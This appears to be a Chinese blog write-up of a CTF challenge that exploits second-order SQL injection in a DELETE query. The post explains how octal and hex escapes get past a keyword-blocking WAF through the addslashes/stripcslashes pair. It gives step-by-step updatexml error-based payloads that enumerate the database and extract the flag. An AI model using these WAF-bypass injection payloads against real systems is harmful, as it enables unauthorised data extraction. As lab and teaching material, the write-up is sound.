freopen's Blog

delete injection(二次注入) 题解

delete injection(二次注入) 题解

0x00分析

原始语句是 DELETE 类型:

delete from users where id=$id and message = '$exp';

WAF 的限制条件:

  1. 拦截单引号 '
  2. 拦截 ASCII 码不在 31~127 范围内的字符(即禁止宽字节、全角、非 ASCII 字符)
  3. 拦截select|insert|update|delete|load_file

$id 不可控,只有 $exp 是注入点

数据流:输入 → addslashes → 入库 → 读出 → stripcslashes → 拼入 DELETE 语句

解法: addslashes + stripcslashes 的二次转义,用8进制/16进制转义绕过WAF关键字

0x01利用原理

为什么 \047 可以绕过

\047' 的八进制转义表示。047 (OCT) = 4×8+7 = 39 (DEC) = 单引号的ASCII

  1. 输入 \047
  2. WAF检查:没有单引号,没有非 ASCII,放行
  3. addslashes:\\\,输出 \\047
  4. sql存储:INSERT INTO ... VALUES ('\\047') 中,\\ 被 MySQL 解析为 \,数据库里存的是 \047
  5. 读出:从数据库读出 \047
  6. stripcslashes:\047 是八进制转义,还原成单引号 '
  7. 拼入 DELETE

十六进制方案 \x27

与Oct效果相同

0x02利用过程

image-20260911171933083

利用cyberchef可以很方便地转换各种编码

观察到页面没有回显但是有报错

image-20260911172211162

所以尝试报错注入

关于基础的sql注入原理:sql注入总结

获取数据库名称

select database()
1\047 and updatexml(1,concat(0x7e,(\163\145\154\145\143\164 database()),0x7e),1) #

返回aaa_web5

留个心眼看一下flag是否在这个数据库里面(主播之前做题的时候真的被坑过flag不在当前数据库里)

select group_concat(schema_name) from information_schema.schemata
1\047 and updatexml(1,concat(0x7e,(\163\145\154\145\143\164 group_concat(schema_name) from information_schema.schemata),0x7e),1) #

返回information_schema,aaa_web5,看来是没错了

获得table名称

1\047 and updatexml(1,concat(0x7e,(\163\145\154\145\143\164 GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema = database()),0x7e),1) #

返回flag

获取column名称

1\047 and updatexml(1,concat(0x7e,(\163\145\154\145\143\164 GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema = database() AND table_name = "flag"),0x7e),1) #

返回flag

查数据

1\047 and updatexml(1,concat(0x7e,(\163\145\154\145\143\164 GROUP_CONCAT(flag) FROM flag),0x7e),1) #

image-20260911173045715

拿到flag发现过长被截断了,用substr()

1\047 and updatexml(1,concat(0x7e,(\x73\x65\x6c\x65\x63\x74 GROUP_CONCAT(SUBSTR(flag, 10)) FROM flag),0x7e),1) #

image-20260911173348565

拼接flag即可